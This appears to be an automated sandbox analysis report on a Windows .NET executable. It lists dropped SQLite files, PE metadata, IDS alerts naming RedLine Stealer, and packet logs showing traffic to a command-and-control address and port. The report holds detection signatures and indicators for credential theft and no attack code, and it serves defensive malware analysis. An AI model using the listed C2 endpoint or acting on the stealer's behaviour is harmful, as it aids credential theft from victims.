C:\Users\user\AppData\Local\Temp\tmpD0BF.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD0CF.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD0F0.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD100.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF9DD.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF9EE.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF9FF.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFA1F.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFA30.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.961461170687654
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	file.exe
File size:	97'792 bytes
MD5:	14bd964c6e45ac40d474f56d03cb98ce
SHA1:	69293148466e1e9701829382a0d60dbab8c7e34c
SHA256:	98f576bf9c2b7f7cc2f174d5f4793f0faecf424ba89e6c3ef97fb40deec0e575
SHA512:	70eef9d6b8b35aaea37fc5517b0af3b04def62695f1d5026ec1453d222663181bfd067d752b82961447bf9128424a75ba94229810be612f0dd86a4ad8273b983
SSDEEP:	1536:iqs+NqBUlbG6jejoigIk43Ywzi0Zb78ivombfexv0ujXyyed2ptmulgS6p4:AuCMYk+zi0ZbYe1g0ujyzdp4
TLSH:	E6A35D3067AC9F19EAFD1B74B4B2011043F1E08A9091FB4B4DC164E61FA7B866957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........N.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41934e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19300	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17354	0x17400	acb27003f5c5c0d6d1a69b637bc087e5	False	0.4489142305107527	data	6.016614346391916	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	76140977aabc237d900bc180ba194da7	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-24T22:31:04.647257+0200	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.4	49730	91.92.251.170	1334	TCP
2024-09-24T22:31:10.127592+0200	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	91.92.251.170	1334	192.168.2.4	49730	TCP
2024-09-24T22:31:10.474651+0200	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.4	49730	91.92.251.170	1334	TCP
2024-09-24T22:31:10.474906+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	91.92.251.170	1334	192.168.2.4	49730	TCP
2024-09-24T22:31:13.414339+0200	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	91.92.251.170	1334	192.168.2.4	49730	TCP
2024-09-24T22:31:13.827892+0200	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.4	49732	91.92.251.170	1334	TCP
2024-09-24T22:31:15.465065+0200	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.4	49733	91.92.251.170	1334	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 22:31:03.986457109 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:03.992650032 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:03.992716074 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:04.007755041 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:04.012711048 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:04.366202116 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:04.374411106 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:04.601558924 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:04.647257090 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:04.729326963 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:04.772229910 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:10.122539997 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:10.127592087 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.292359114 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.292701960 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:10.297744036 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.474565029 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.474584103 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.474595070 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.474651098 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:10.474684954 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.474823952 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:10.474905968 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:10.522253990 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.409123898 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.409537077 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.414339066 CEST	1334	49730	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.414388895 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.414398909 CEST	49730	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.414459944 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.415163040 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.419922113 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.772793055 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.777834892 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777846098 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777856112 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777864933 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777924061 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.777925014 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777935982 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777971983 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.777985096 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.777986050 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.778003931 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.778013945 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.778022051 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.778074026 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.782908916 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.782954931 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.783004999 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.783013105 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.783083916 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.783093929 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.783111095 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.783138990 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.827599049 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.827892065 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.858974934 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.859380007 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864326954 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864348888 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864358902 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864377022 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864378929 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864387989 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864407063 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864409924 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864417076 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864429951 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864464045 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864531994 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864542007 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864561081 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864568949 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864577055 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864584923 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864602089 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864609003 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864610910 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864619017 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864690065 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864789963 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864808083 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864859104 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.864912033 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864948034 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.864990950 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.865025997 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.865118027 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869187117 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869225025 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869266033 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869287014 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869293928 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869338036 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869390965 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869443893 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869481087 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869493961 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869498968 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869534016 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869543076 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869559050 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869571924 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869616985 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869626045 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869637012 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869647980 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869667053 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869694948 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869699001 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869709015 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869728088 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869750977 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869756937 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869791985 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869807959 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869817019 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869827986 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869874954 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869879961 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869920969 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.869972944 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869982004 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.869988918 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870042086 CEST	49732	1334	192.168.2.4	91.92.251.170
Sep 24, 2024 22:31:13.870047092 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870055914 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870064020 CEST	1334	49732	91.92.251.170	192.168.2.4
Sep 24, 2024 22:31:13.870071888 CEST	1334	49732	91.92.251.170	192.168.2.4
